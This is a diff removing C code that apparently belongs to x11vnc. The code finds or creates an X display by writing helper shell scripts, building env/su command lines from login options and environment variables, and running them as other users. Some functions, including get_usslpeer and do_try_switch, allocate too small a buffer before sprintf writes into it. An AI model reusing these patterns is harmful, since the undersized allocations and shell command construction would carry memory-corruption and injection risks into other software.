- vdpy = -vdpy;
- } else if (vdpy < 200) {
- vdpy += 5900;
- }
- } else {
- vdpy += 5900;
- }
- if (created_disp) {
- usleep(1000*1000);
- }
- for (i=0; i < 20; i++) {
- sock = connect_tcp(vnc_redirect_host, vdpy);
- if (sock >= 0) {
- break;
- }
- rfbLog("wait_for_client: ...\n");
- usleep(500*1000);
- }
- if (sock < 0) {
- rfbLog("wait_for_client: could not connect to a VNC Server at %s:%d\n", vnc_redirect_host, vdpy);
- clean_up_exit(1);
- }
- if (inetd) {
- s_in = fileno(stdin);
- s_out = fileno(stdout);
- } else {
- s_in = s_out = vnc_redirect_sock;
- }
- if (vnc_redirect_cnt > 0) {
- write(vnc_redirect_sock, vnc_redirect_test, vnc_redirect_cnt);
- }
- rfbLog("wait_for_client: switching control to VNC Server at %s:%d\n", vnc_redirect_host, vdpy);
- raw_xfer(sock, s_in, s_out);
-}
-
-extern char find_display[];
-extern char create_display[];
-
-char *setup_cmd(char *str, int *vnc_redirect, char **vnc_redirect_host, int *vnc_redirect_port, int db) {
- char *cmd = NULL;
-
- if (no_external_cmds || !cmd_ok("WAIT")) {
- rfbLog("wait_for_client external cmds not allowed:"
- " %s\n", use_dpy);
- clean_up_exit(1);
- }
-
- cmd = str + strlen("cmd=");
- if (!strcmp(cmd, "FINDDISPLAY-print")) {
- fprintf(stdout, "%s", find_display);
- clean_up_exit(0);
- }
- if (!strcmp(cmd, "FINDDISPLAY-run")) {
- char tmp[] = "/tmp/fd.XXXXXX";
- char com[100];
- int fd = mkstemp(tmp);
- if (fd >= 0) {
- int ret;
- write(fd, find_display, strlen(find_display));
- close(fd);
- set_env("FINDDISPLAY_run", "1");
- sprintf(com, "/bin/sh %s -n", tmp);
- ret = system(com);
- if (WIFEXITED(ret) && WEXITSTATUS(ret) != 0) {
- if (got_findauth && !getenv("FD_XDM")) {
- if (getuid() == 0 || geteuid() == 0) {
- set_env("FD_XDM", "1");
- system(com);
- }
- }
- }
- }
- unlink(tmp);
- exit(0);
- }
- if (!strcmp(str, "FINDCREATEDISPLAY-print")) {
- fprintf(stdout, "%s", create_display);
- clean_up_exit(0);
- }
- if (db) fprintf(stderr, "cmd: %s\n", cmd);
- if (strstr(str, "FINDCREATEDISPLAY") || strstr(str, "FINDDISPLAY")) {
- if (strstr(str, "Xvnc.redirect") || strstr(str, "X.redirect")) {
- *vnc_redirect = 1;
- }
- }
- if (strstr(cmd, "FINDDISPLAY-vnc_redirect") == cmd) {
- int p;
- char h[256];
- if (strlen(cmd) >= 256) {
- rfbLog("wait_for_client string too long: %s\n", str);
- clean_up_exit(1);
- }
- h[0] = '\0';
- if (sscanf(cmd, "FINDDISPLAY-vnc_redirect=%d", &p) == 1) {
- ;
- } else if (sscanf(cmd, "FINDDISPLAY-vnc_redirect=%s %d", h, &p) == 2) {
- ;
- } else {
- rfbLog("wait_for_client bad string: %s\n", cmd);
- clean_up_exit(1);
- }
- *vnc_redirect_port = p;
- if (strcmp(h, "")) {
- *vnc_redirect_host = strdup(h);
- }
- *vnc_redirect = 2;
- rfbLog("wait_for_client: vnc_redirect: %s:%d\n", *vnc_redirect_host, *vnc_redirect_port);
- }
- return cmd;
-}
-
-static char *build_create_cmd(char *cmd, int *saw_xdmcp, char *usslpeer, char *tmp) {
- char *create_cmd = NULL;
- char *opts = strchr(cmd, '-');
- char st[] = "";
- char fdgeom[128], fdsess[128], fdopts[128], fdextra[256], fdprog[128];
- char fdxsrv[128], fdxdum[128], fdcups[128], fdesd[128];
- char fdnas[128], fdsmb[128], fdtag[128], fdxdmcpif[128];
- char cdout[128];
-
- if (opts) {
- opts++;
- if (strstr(opts, "xdmcp")) {
- *saw_xdmcp = 1;
- }
- } else {
- opts = st;
- }
- sprintf(fdgeom, "NONE");
- fdsess[0] = '\0';
- fdgeom[0] = '\0';
- fdopts[0] = '\0';
- fdextra[0] = '\0';
- fdprog[0] = '\0';
- fdxsrv[0] = '\0';
- fdxdum[0] = '\0';
- fdcups[0] = '\0';
- fdesd[0] = '\0';
- fdnas[0] = '\0';
- fdsmb[0] = '\0';
- fdtag[0] = '\0';
- fdxdmcpif[0] = '\0';
- cdout[0] = '\0';
-
- if (unixpw && keep_unixpw_opts && !getenv("X11VNC_NO_UNIXPW_OPTS")) {
- char *q, *p, *t = strdup(keep_unixpw_opts);
-
- if (strstr(t, "gnome")) {
- sprintf(fdsess, "gnome");
- } else if (strstr(t, "kde")) {
- sprintf(fdsess, "kde");
- } else if (strstr(t, "lxde")) {
- sprintf(fdsess, "lxde");
- } else if (strstr(t, "twm")) {
- sprintf(fdsess, "twm");
- } else if (strstr(t, "fvwm")) {
- sprintf(fdsess, "fvwm");
- } else if (strstr(t, "mwm")) {
- sprintf(fdsess, "mwm");
- } else if (strstr(t, "cde")) {
- sprintf(fdsess, "cde");
- } else if (strstr(t, "dtwm")) {
- sprintf(fdsess, "dtwm");
- } else if (strstr(t, "xterm")) {
- sprintf(fdsess, "xterm");
- } else if (strstr(t, "wmaker")) {
- sprintf(fdsess, "wmaker");
- } else if (strstr(t, "xfce")) {
- sprintf(fdsess, "xfce");
- } else if (strstr(t, "enlightenment")) {
- sprintf(fdsess, "enlightenment");
- } else if (strstr(t, "Xsession")) {
- sprintf(fdsess, "Xsession");
- } else if (strstr(t, "failsafe")) {
- sprintf(fdsess, "failsafe");
- }
-
- q = strstr(t, "ge=");
- if (! q) q = strstr(t, "geom=");
- if (! q) q = strstr(t, "geometry=");
- if (q) {
- int ok = 1;
- q = strstr(q, "=");
- q++;
- p = strstr(q, ",");
- if (p) *p = '\0';
- p = q;
- while (*p) {
- if (*p == 'x') {
- ;
- } else if (isdigit((int) *p)) {
- ;
- } else {
- ok = 0;
- break;
- }
- p++;
- }
- if (ok && strlen(q) < 32) {
- sprintf(fdgeom, "%s", q);
- if (!quiet) {
- rfbLog("set create display geom: %s\n", fdgeom);
- }
- }
- }
- q = strstr(t, "cups=");
- if (q) {
- int p;
- if (sscanf(q, "cups=%d", &p) == 1) {
- sprintf(fdcups, "%d", p);
- }
- }
- q = strstr(t, "esd=");
- if (q) {
- int p;
- if (sscanf(q, "esd=%d", &p) == 1) {
- sprintf(fdesd, "%d", p);
- }
- }
- if (!getenv("FD_TAG")) {
- char *s = NULL;
-
- q = strstr(t, "tag=");
- if (q) s = strchr(q, ',');
- if (s) *s = '\0';
-
- if (q && strlen(q) < 120) {
- char *p;
- int ok = 1;
- q = strchr(q, '=') + 1;
- p = q;
- while (*p != '\0') {
- char c = *p;
- if (*p == '_' || *p == '-') {
- ;
- } else if (!isalnum((int) c)) {
- ok = 0;
- rfbLog("bad tag char: '%c' in '%s'\n", c, q);
- break;
- }
- p++;
- }
- if (ok) {
- sprintf(fdtag, "%s", q);
- }
- }
- if (s) *s = ',';
- }
- free(t);
- }
- if (fdgeom[0] == '\0' && getenv("FD_GEOM")) {
- snprintf(fdgeom, 120, "%s", getenv("FD_GEOM"));
- }
- if (fdsess[0] == '\0' && getenv("FD_SESS")) {
- snprintf(fdsess, 120, "%s", getenv("FD_SESS"));
- }
- if (fdopts[0] == '\0' && getenv("FD_OPTS")) {
- snprintf(fdopts, 120, "%s", getenv("FD_OPTS"));
- }
- if (fdextra[0] == '\0' && getenv("FD_EXTRA")) {
- if (!strchr(getenv("FD_EXTRA"), '\'')) {
- snprintf(fdextra, 250, "%s", getenv("FD_EXTRA"));
- }
- }
- if (fdprog[0] == '\0' && getenv("FD_PROG")) {
- snprintf(fdprog, 120, "%s", getenv("FD_PROG"));
- }
- if (fdxsrv[0] == '\0' && getenv("FD_XSRV")) {
- snprintf(fdxsrv, 120, "%s", getenv("FD_XSRV"));
- }
- if (fdcups[0] == '\0' && getenv("FD_CUPS")) {
- snprintf(fdcups, 120, "%s", getenv("FD_CUPS"));
- }
- if (fdesd[0] == '\0' && getenv("FD_ESD")) {
- snprintf(fdesd, 120, "%s", getenv("FD_ESD"));
- }
- if (fdnas[0] == '\0' && getenv("FD_NAS")) {
- snprintf(fdnas, 120, "%s", getenv("FD_NAS"));
- }
- if (fdsmb[0] == '\0' && getenv("FD_SMB")) {
- snprintf(fdsmb, 120, "%s", getenv("FD_SMB"));
- }
- if (fdtag[0] == '\0' && getenv("FD_TAG")) {
- snprintf(fdtag, 120, "%s", getenv("FD_TAG"));
- }
- if (fdxdmcpif[0] == '\0' && getenv("FD_XDMCP_IF")) {
- snprintf(fdxdmcpif, 120, "%s", getenv("FD_XDMCP_IF"));
- }
- if (fdxdum[0] == '\0' && getenv("FD_XDUMMY_RUN_AS_ROOT")) {
- snprintf(fdxdum, 120, "%s", getenv("FD_XDUMMY_RUN_AS_ROOT"));
- }
- if (getenv("CREATE_DISPLAY_OUTPUT")) {
- snprintf(cdout, 120, "CREATE_DISPLAY_OUTPUT='%s'", getenv("CREATE_DISPLAY_OUTPUT"));
- }
-
- if (strchr(fdgeom, '\'')) fdgeom[0] = '\0';
- if (strchr(fdopts, '\'')) fdopts[0] = '\0';
- if (strchr(fdextra, '\'')) fdextra[0] = '\0';
- if (strchr(fdprog, '\'')) fdprog[0] = '\0';
- if (strchr(fdxsrv, '\'')) fdxsrv[0] = '\0';
- if (strchr(fdcups, '\'')) fdcups[0] = '\0';
- if (strchr(fdesd, '\'')) fdesd[0] = '\0';
- if (strchr(fdnas, '\'')) fdnas[0] = '\0';
- if (strchr(fdsmb, '\'')) fdsmb[0] = '\0';
- if (strchr(fdtag, '\'')) fdtag[0] = '\0';
- if (strchr(fdxdmcpif, '\'')) fdxdmcpif[0] = '\0';
- if (strchr(fdxdum, '\'')) fdxdum[0] = '\0';
- if (strchr(fdsess, '\'')) fdsess[0] = '\0';
- if (strchr(cdout, '\'')) cdout[0] = '\0';
-
- set_env("FD_GEOM", fdgeom);
- set_env("FD_OPTS", fdopts);
- set_env("FD_EXTRA", fdextra);
- set_env("FD_PROG", fdprog);
- set_env("FD_XSRV", fdxsrv);
- set_env("FD_CUPS", fdcups);
- set_env("FD_ESD", fdesd);
- set_env("FD_NAS", fdnas);
- set_env("FD_SMB", fdsmb);
- set_env("FD_TAG", fdtag);
- set_env("FD_XDMCP_IF", fdxdmcpif);
- set_env("FD_XDUMMY_RUN_AS_ROOT", fdxdum);
- set_env("FD_SESS", fdsess);
-
- if (usslpeer || (unixpw && keep_unixpw_user)) {
- char *uu = usslpeer;
- if (!uu) {
- uu = keep_unixpw_user;
- }
- if (strchr(uu, '\'')) {
- uu = "";
- }
- create_cmd = (char *) malloc(strlen(tmp)+1
- + strlen("env USER='' ")
- + strlen("FD_GEOM='' ")
- + strlen("FD_OPTS='' ")
- + strlen("FD_EXTRA='' ")
- + strlen("FD_PROG='' ")
- + strlen("FD_XSRV='' ")
- + strlen("FD_CUPS='' ")
- + strlen("FD_ESD='' ")
- + strlen("FD_NAS='' ")
- + strlen("FD_SMB='' ")
- + strlen("FD_TAG='' ")
- + strlen("FD_XDMCP_IF='' ")
- + strlen("FD_XDUMMY_RUN_AS_ROOT='' ")
- + strlen("FD_SESS='' /bin/sh ")
- + strlen(uu) + 1
- + strlen(fdgeom) + 1
- + strlen(fdopts) + 1
- + strlen(fdextra) + 1
- + strlen(fdprog) + 1
- + strlen(fdxsrv) + 1
- + strlen(fdcups) + 1
- + strlen(fdesd) + 1
- + strlen(fdnas) + 1
- + strlen(fdsmb) + 1
- + strlen(fdtag) + 1
- + strlen(fdxdmcpif) + 1
- + strlen(fdxdum) + 1
- + strlen(fdsess) + 1
- + strlen(cdout) + 1
- + strlen(opts) + 1);
- sprintf(create_cmd, "env USER='%s' FD_GEOM='%s' FD_SESS='%s' "
- "FD_OPTS='%s' FD_EXTRA='%s' FD_PROG='%s' FD_XSRV='%s' FD_CUPS='%s' "
- "FD_ESD='%s' FD_NAS='%s' FD_SMB='%s' FD_TAG='%s' FD_XDMCP_IF='%s' "
- "FD_XDUMMY_RUN_AS_ROOT='%s' %s /bin/sh %s %s",
- uu, fdgeom, fdsess, fdopts, fdextra, fdprog, fdxsrv,
- fdcups, fdesd, fdnas, fdsmb, fdtag, fdxdmcpif, fdxdum, cdout, tmp, opts);
- } else {
- create_cmd = (char *) malloc(strlen(tmp)
- + strlen("/bin/sh ") + 1 + strlen(opts) + 1);
- sprintf(create_cmd, "/bin/sh %s %s", tmp, opts);
- }
- return create_cmd;
-}
-
-static char *certret_extract() {
- char *q, *p, *str = strdup(certret_str);
- char *upeer = NULL;
- int ok = 0;
-
- q = strstr(str, "Subject: ");
- if (! q) return NULL;
-
- p = strstr(q, "\n");
- if (p) *p = '\0';
-
- q = strstr(q, "CN=");
- if (! q) return NULL;
-
- if (! getenv("X11VNC_SSLPEER_CN")) {
- p = q;
- q = strstr(q, "/emailAddress=");
- if (! q) q = strstr(p, "/Email=");
- if (! q) return NULL;
- }
-
- q = strstr(q, "=");
- if (! q) return NULL;
-
- q++;
- p = strstr(q, " ");
- if (p) *p = '\0';
- p = strstr(q, "@");
- if (p) *p = '\0';
- p = strstr(q, "/");
- if (p) *p = '\0';
-
- upeer = strdup(q);
-
- if (strcmp(upeer, "")) {
- p = upeer;
- while (*p != '\0') {
- char c = *p;
- if (!isalnum((int) c)) {
- *p = '\0';
- break;
- }
- p++;
- }
- if (strcmp(upeer, "")) {
- ok = 1;
- }
- }
- if (! ok) {
- upeer = NULL;
- }
- return upeer;
-}
-
-static void check_nodisplay(char **nd, char **tag) {
- if (unixpw && !getenv("X11VNC_NO_UNIXPW_OPTS") && keep_unixpw_opts && keep_unixpw_opts[0] != '\0') {
- char *q, *t2, *t = keep_unixpw_opts;
- q = strstr(t, "nd=");
- if (! q) q = strstr(t, "nodisplay=");
- if (q) {
- q = strchr(q, '=') + 1;
- t = strdup(q);
- q = t;
- t2 = strchr(t, ',');
- if (t2) *t2 = '\0';
-
- while (*t != '\0') {
- if (*t == '+') {
- *t = ',';
- }
- t++;
- }
- if (!strchr(q, '\'') && !strpbrk(q, "[](){}`'\"$&*|<>")) {
- if (! quiet) rfbLog("set X11VNC_SKIP_DISPLAY: %s\n", q);
- *nd = q;
- }
- }
-
- q = strstr(keep_unixpw_opts, "tag=");
- if (getenv("FD_TAG")) {
- *tag = strdup(getenv("FD_TAG"));
- } else if (q) {
- q = strchr(q, '=') + 1;
- t = strdup(q);
- q = t;
- t2 = strchr(t, ',');
- if (t2) *t2 = '\0';
-
- if (strlen(q) < 120) {
- int ok = 1;
- while (*t != '\0') {
- char c = *t;
- if (*t == '_' || *t == '-') {
- ;
- } else if (!isalnum((int) c)) {
- ok = 0;
- rfbLog("bad tag char: '%c' in '%s'\n", c, q);
- break;
- }
- t++;
- }
- if (ok) {
- if (! quiet) rfbLog("set FD_TAG: %s\n", q);
- *tag = q;
- }
- }
- }
- }
- if (unixpw_system_greeter_active == 2) {
- if (!keep_unixpw_user) {
- clean_up_exit(1);
- }
- *nd = strdup("all");
- }
-}
-
-static char *get_usslpeer() {
- char *u = NULL, *upeer = NULL;
-
- if (certret_str) {
- upeer = certret_extract();
- }
- if (!upeer) {
- return NULL;
- }
- rfbLog("sslpeer unix username extracted from x509 cert: %s\n", upeer);
-
- u = (char *) malloc(strlen(upeer+2));
- u[0] = '\0';
- if (!strcmp(users_list, "sslpeer=")) {
- sprintf(u, "+%s", upeer);
- } else {
- char *p, *str = strdup(users_list);
- p = strtok(str + strlen("sslpeer="), ",");
- while (p) {
- if (!strcmp(p, upeer)) {
- sprintf(u, "+%s", upeer);
- break;
- }
- p = strtok(NULL, ",");
- }
- free(str);
- }
- if (u[0] == '\0') {
- rfbLog("sslpeer cannot determine user: %s\n", upeer);
- free(u);
- return NULL;
- }
- free(u);
- return upeer;
-}
-
-static void do_try_switch(char *usslpeer, char *users_list_save) {
- if (unixpw_system_greeter_active == 2) {
- rfbLog("unixpw_system_greeter: not trying switch to user '%s'\n", usslpeer ? usslpeer : "");
- return;
- }
- if (usslpeer) {
- char *u = (char *) malloc(strlen(usslpeer+2));
- sprintf(u, "+%s", usslpeer);
- if (switch_user(u, 0)) {
- rfbLog("sslpeer switched to user: %s\n", usslpeer);
- } else {
- rfbLog("sslpeer failed to switch to user: %s\n", usslpeer);
- }
- free(u);
-
- } else if (users_list_save && keep_unixpw_user) {
- char *user = keep_unixpw_user;
- char *u = (char *)malloc(strlen(user)+1);
-
- users_list = users_list_save;
-
- u[0] = '\0';
- if (!strcmp(users_list, "unixpw=")) {
- sprintf(u, "+%s", user);
- } else {
- char *p, *str = strdup(users_list);
- p = strtok(str + strlen("unixpw="), ",");
- while (p) {
- if (!strcmp(p, user)) {
- sprintf(u, "+%s", user);
- break;
- }
- p = strtok(NULL, ",");
- }
- free(str);
- }
-
- if (u[0] == '\0') {
- rfbLog("unixpw_accept skipping switch to user: %s (drc)\n", user);
- } else if (switch_user(u, 0)) {
- rfbLog("unixpw_accept switched to user: %s (drc)\n", user);
- } else {
- rfbLog("unixpw_accept failed to switch to user: %s (drc)\n", user);
- }
- free(u);
- }
-}
-
-static void path_lookup(char *prog) {
- /* see create_display script */
- char *create_display_extra = "/usr/X11R6/bin:/usr/bin/X11:/usr/openwin/bin:/usr/dt/bin:/opt/kde4/bin:/opt/kde3/bin:/opt/gnome/bin:/usr/bin:/bin:/usr/sfw/bin:/usr/local/bin";
- char *path, *try, *p;
- int found = 0, len = strlen(create_display_extra);
-
- if (getenv("PATH")) {
- len += strlen(getenv("PATH")) + 1;
- path = (char *) malloc((len+1) * sizeof(char));
- sprintf(path, "%s:%s", getenv("PATH"), create_display_extra);
- } else {
- path = (char *) malloc((len+1) * sizeof(char));
- sprintf(path, "%s", create_display_extra);
- }
- try = (char *) malloc((len+2+strlen(prog)) * sizeof(char));
-
- p = strtok(path, ":");
- while (p) {
- struct stat sbuf;
-
- sprintf(try, "%s/%s", p, prog);
- if (stat(try, &sbuf) == 0) {
- found = 1;
- break;
- }
- p = strtok(NULL, ":");
- }
-
- free(path);
- free(try);
-
- if (!found) {
- fprintf(stderr, "\n");
- fprintf(stderr, "The program \"%s\" could not be found in PATH and standard locations.\n", prog);
- fprintf(stderr, "You probably need to install a package that provides the \"%s\" program.\n", prog);
- fprintf(stderr, "Without it FINDCREATEDISPLAY mode may not be able to create an X display.\n");
- fprintf(stderr, "\n");
- }
-}
-
-static int do_run_cmd(char *cmd, char *create_cmd, char *users_list_save, int created_disp, int db) {
- char tmp[] = "/tmp/x11vnc-find_display.XXXXXX";
- char line1[1024], line2[16384];
- char *q, *usslpeer = NULL;
- int n, nodisp = 0, saw_xdmcp = 0;
- int tmp_fd = -1;
- int internal_cmd = 0;
- int tried_switch = 0;
-
- memset(line1, 0, sizeof(line1));
- memset(line2, 0, sizeof(line2));
-
- if (users_list && strstr(users_list, "sslpeer=") == users_list) {
- usslpeer = get_usslpeer();
- if (! usslpeer) {
- return 0;
- }
- }
- if (getenv("DEBUG_RUN_CMD")) db = 1;
-
- /* only sets environment variables: */
- run_user_command("", latest_client, "env", NULL, 0, NULL);
-
- if (program_name) {
- set_env("X11VNC_PROG", program_name);
- } else {
- set_env("X11VNC_PROG", "x11vnc");
- }
-
- if (!strcmp(cmd, "FINDDISPLAY") ||
- strstr(cmd, "FINDCREATEDISPLAY") == cmd) {
- char *nd = "";
- char *tag = "";
- char fdout[128];
-
- internal_cmd = 1;
-
- tmp_fd = mkstemp(tmp);
-
- if (tmp_fd < 0) {
- rfbLog("wait_for_client: open failed: %s\n", tmp);
- rfbLogPerror("mkstemp");
- clean_up_exit(1);
- }
- chmod(tmp, 0644);
- if (getenv("X11VNC_FINDDISPLAY_ALWAYS_FAILS")) {
- char *s = "#!/bin/sh\necho _FAIL_\nexit 1\n";
- write(tmp_fd, s, strlen(s));
- } else {
- write(tmp_fd, find_display, strlen(find_display));
- }
- close(tmp_fd);
- nodisp = 1;
-
- if (strstr(cmd, "FINDCREATEDISPLAY") == cmd) {
- create_cmd = build_create_cmd(cmd, &saw_xdmcp, usslpeer, tmp);
- if (db) fprintf(stderr, "create_cmd: %s\n", create_cmd);
- }
- if (getenv("X11VNC_SKIP_DISPLAY")) {
- nd = strdup(getenv("X11VNC_SKIP_DISPLAY"));
- }
- check_nodisplay(&nd, &tag);
-
- fdout[0] = '\0';
- if (getenv("FIND_DISPLAY_OUTPUT")) {
- snprintf(fdout, 120, " FIND_DISPLAY_OUTPUT='%s' ", getenv("FIND_DISPLAY_OUTPUT"));
- }
-
- cmd = (char *) malloc(strlen("env X11VNC_SKIP_DISPLAY='' ")
- + strlen(nd) + strlen(" FD_TAG='' ") + strlen(tag) + strlen(tmp) + strlen("/bin/sh ") + strlen(fdout) + 1);
-
- if (strcmp(tag, "")) {
- sprintf(cmd, "env X11VNC_SKIP_DISPLAY='%s' FD_TAG='%s' %s /bin/sh %s", nd, tag, fdout, tmp);
- } else {
- sprintf(cmd, "env X11VNC_SKIP_DISPLAY='%s' %s /bin/sh %s", nd, fdout, tmp);
- }
- }
-
- rfbLog("wait_for_client: running: %s\n", cmd);
-
- if (create_cmd != NULL) {
- if (strstr(create_cmd, "Xvfb")) {
- path_lookup("Xvfb");
- }
- if (strstr(create_cmd, "Xvnc")) {
- path_lookup("Xvnc");
- }
- if (strstr(create_cmd, "Xdummy")) {
- path_lookup("Xdummy");
- }
- }
-
- if (unixpw && !unixpw_nis) {
- int res = 0, k, j, i;
- char line[18000];
-
- memset(line, 0, sizeof(line));
-
- if (unixpw_system_greeter_active == 2) {
- rfbLog("unixpw_system_greeter: forcing find display failure.\n");
- res = 0;
- } else if (keep_unixpw_user && keep_unixpw_pass) {
- n = sizeof(line);
- if (unixpw_cmd != NULL) {
- res = unixpw_cmd_run(keep_unixpw_user,
- keep_unixpw_pass, cmd, line, &n);
- } else {
- res = su_verify(keep_unixpw_user,
- keep_unixpw_pass, cmd, line, &n, nodisp);
- }
- }
-
-if (db) {fprintf(stderr, "line: "); write(2, line, n); write(2, "\n", 1); fprintf(stderr, "res=%d n=%d\n", res, n);}
- if (! res) {
- rfbLog("wait_for_client: find display cmd failed.\n");
- }
-
- if (! res && create_cmd) {
- FILE *mt = fopen(tmp, "w");
- if (! mt) {
- rfbLog("wait_for_client: open failed: %s\n", tmp);
- rfbLogPerror("fopen");
- clean_up_exit(1);
- }
- fprintf(mt, "%s", create_display);
- fclose(mt);
-
- findcreatedisplay = 1;
-
- if (unixpw_cmd != NULL) {
- /* let the external unixpw command do it: */
- n = sizeof(line);
- close_exec_fds();
- res = unixpw_cmd_run(keep_unixpw_user,
- keep_unixpw_pass, create_cmd, line, &n);
- } else if (getuid() != 0 && unixpw_system_greeter_active != 2) {
- /* if not root, run as the other user... */
- n = sizeof(line);
- close_exec_fds();
- res = su_verify(keep_unixpw_user,
- keep_unixpw_pass, create_cmd, line, &n, nodisp);
-if (db) fprintf(stderr, "c-res=%d n=%d line: '%s'\n", res, n, line);
-
- } else {
- FILE *p;
- close_exec_fds();
- if (unixpw_system_greeter_active == 2) {
- rfbLog("unixpw_system_greeter: not trying su_verify() to run\n");
- rfbLog("unixpw_system_greeter: create display command.\n");
- }
- rfbLog("wait_for_client: running: %s\n", create_cmd);
- p = popen(create_cmd, "r");
- if (! p) {
- rfbLog("wait_for_client: popen failed: %s\n", create_cmd);
- res = 0;
- } else if (fgets(line1, 1024, p) == NULL) {
- rfbLog("wait_for_client: read failed: %s\n", create_cmd);
- res = 0;
- } else {
- n = fread(line2, 1, 16384, p);
- if (pclose(p) != 0) {
- res = 0;
- } else {
- strncpy(line, line1, 100);
- memcpy(line + strlen(line1), line2, n);
-if (db) fprintf(stderr, "line1: '%s'\n", line1);
- n += strlen(line1);
- created_disp = 1;
- res = 1;
- }
- }
- }
- if (res && saw_xdmcp && unixpw_system_greeter_active != 2) {
- xdmcp_insert = strdup(keep_unixpw_user);
- }
- }
-
- if (tmp_fd >= 0) {
- unlink(tmp);
- }
-
- if (! res) {
- rfbLog("wait_for_client: cmd failed: %s\n", cmd);
- unixpw_msg("No DISPLAY found.", 3);
- clean_up_exit(1);
- }
-
- /*
- * we need to hunt for DISPLAY= since there may be
- * a login banner or something at the beginning.
- */
- q = strstr(line, "DISPLAY=");
- if (! q) {
- q = line;
- }
- n -= (q - line);
-
- for (k = 0; k < 1024; k++) {
- line1[k] = q[k];
- if (q[k] == '\n') {
- k++;
- break;
- }
- }
- n -= k;
- i = 0;
- for (j = 0; j < 16384; j++) {
- if (j < 16384 - 1) {
- /* xauth data, assume pty added CR */
- if (q[k+j] == '\r' && q[k+j+1] == '\n') {
- continue;
- }
- }
-
- line2[i] = q[k+j];
- i++;
- }
-if (db) write(2, line, 100);
-if (db) fprintf(stderr, "\n");
-
- } else {
- FILE *p;
- int rc;
- close_exec_fds();
-
- if (usslpeer) {
- char *c;
- if (getuid() == 0) {
- c = (char *) malloc(strlen("su - '' -c \"")
- + strlen(usslpeer) + strlen(cmd) + 1 + 1);
- sprintf(c, "su - '%s' -c \"%s\"", usslpeer, cmd);
- } else {
- c = strdup(cmd);
- }
- p = popen(c, "r");
- free(c);
-
- } else if (unixpw_nis && keep_unixpw_user) {
- char *c;
- if (getuid() == 0) {
- c = (char *) malloc(strlen("su - '' -c \"")
- + strlen(keep_unixpw_user) + strlen(cmd) + 1 + 1);
- sprintf(c, "su - '%s' -c \"%s\"", keep_unixpw_user, cmd);
- } else {
- c = strdup(cmd);
- }
- p = popen(c, "r");
- free(c);
-
- } else {
- p = popen(cmd, "r");
- }
-
- if (! p) {
- rfbLog("wait_for_client: cmd failed: %s\n", cmd);
- rfbLogPerror("popen");
- if (tmp_fd >= 0) {
- unlink(tmp);
- }
- clean_up_exit(1);
- }
- if (fgets(line1, 1024, p) == NULL) {
- rfbLog("wait_for_client: read failed: %s\n", cmd);
- rfbLogPerror("fgets");
- if (tmp_fd >= 0) {
- unlink(tmp);
- }
- clean_up_exit(1);
- }
- n = fread(line2, 1, 16384, p);
- rc = pclose(p);
-
- if (rc != 0) {
- rfbLog("wait_for_client: find display cmd failed.\n");
- }
-
- if (create_cmd && rc != 0) {
- FILE *mt = fopen(tmp, "w");
- if (! mt) {
- rfbLog("wait_for_client: open failed: %s\n", tmp);
- rfbLogPerror("fopen");
- if (tmp_fd >= 0) {
- unlink(tmp);
- }
- clean_up_exit(1);
- }
- fprintf(mt, "%s", create_display);
- fclose(mt);
-
- findcreatedisplay = 1;
-
- rfbLog("wait_for_client: FINDCREATEDISPLAY cmd: %s\n", create_cmd);
-
- p = popen(create_cmd, "r");
- if (! p) {
- rfbLog("wait_for_client: cmd failed: %s\n", create_cmd);
- rfbLogPerror("popen");
- if (tmp_fd >= 0) {
- unlink(tmp);
- }
- clean_up_exit(1);
- }
- if (fgets(line1, 1024, p) == NULL) {
- rfbLog("wait_for_client: read failed: %s\n", create_cmd);
- rfbLogPerror("fgets");
- if (tmp_fd >= 0) {
- unlink(tmp);
- }
- clean_up_exit(1);
- }
- n = fread(line2, 1, 16384, p);
- pclose(p);
- }
- if (tmp_fd >= 0) {
- unlink(tmp);
- }
- }
-
-if (db) fprintf(stderr, "line1=%s\n", line1);
-
- if (strstr(line1, "DISPLAY=") != line1) {
- rfbLog("wait_for_client: bad reply '%s'\n", line1);
- if (unixpw) {
- unixpw_msg("No DISPLAY found.", 3);
- }
- clean_up_exit(1);
- }
-
-
- if (strstr(line1, ",VT=")) {
- int vt;
- char *t = strstr(line1, ",VT=");
- vt = atoi(t + strlen(",VT="));
- *t = '\0';
- if (7 <= vt && vt <= 15) {
- do_chvt(vt);
- }
- } else if (strstr(line1, ",XPID=")) {
- int i, pvt, vt = -1;
- char *t = strstr(line1, ",XPID=");
- pvt = atoi(t + strlen(",XPID="));
- *t = '\0';
- if (pvt > 0) {
- for (i=3; i <= 10; i++) {
- int k;
- char proc[100];
- char buf[100];
- sprintf(proc, "/proc/%d/fd/%d", pvt, i);
-if (db) fprintf(stderr, "%d -- %s\n", i, proc);
- for (k=0; k < 100; k++) {
- buf[k] = '\0';
- }
-
- if (readlink(proc, buf, 100) != -1) {
- buf[100-1] = '\0';
-if (db) fprintf(stderr, "%d -- %s -- %s\n", i, proc, buf);
- if (strstr(buf, "/dev/tty") == buf) {
- vt = atoi(buf + strlen("/dev/tty"));
- if (vt > 0) {
- break;
- }
- }
- }
- }
- }
- if (7 <= vt && vt <= 12) {
- do_chvt(vt);
- }
- }
-
- use_dpy = strdup(line1 + strlen("DISPLAY="));
- q = use_dpy;
- while (*q != '\0') {
- if (*q == '\n' || *q == '\r') *q = '\0';
- q++;
- }
- if (line2[0] != '\0') {
- if (strstr(line2, "XAUTHORITY=") == line2) {
- q = line2;
- while (*q != '\0') {
- if (*q == '\n' || *q == '\r') *q = '\0';
- q++;
- }
- if (auth_file) {
- free(auth_file);
- }
- auth_file = strdup(line2 + strlen("XAUTHORITY="));
-
- } else {
- xauth_raw_data = (char *)malloc(n);
- xauth_raw_len = n;
- memcpy(xauth_raw_data, line2, n);
-if (db) {fprintf(stderr, "xauth_raw_len: %d\n", n);
-write(2, xauth_raw_data, n);
-fprintf(stderr, "\n");}
- }
- }
-
- if (!tried_switch) {
- do_try_switch(usslpeer, users_list_save);
- tried_switch = 1;
- }
-
- if (unixpw) {
- /* Some cleanup and messaging for -unixpw case: */
- char str[32];
-
- if (keep_unixpw_user && keep_unixpw_pass) {
- strzero(keep_unixpw_user);
- strzero(keep_unixpw_pass);
- keep_unixpw = 0;
- }
-
- if (created_disp) {
- snprintf(str, 30, "Created DISPLAY %s", use_dpy);
- } else {
- snprintf(str, 30, "Using DISPLAY %s", use_dpy);
- }
- unixpw_msg(str, 2);
- }
- return 1;
-}
-
-void ssh_remote_tunnel(char *, int);
-
-static XImage ximage_struct;
-
-void progress_client(void) {
- int i, j = 0, progressed = 0, db = 0;
- double start = dnow();
- if (getenv("PROGRESS_CLIENT_DBG")) {
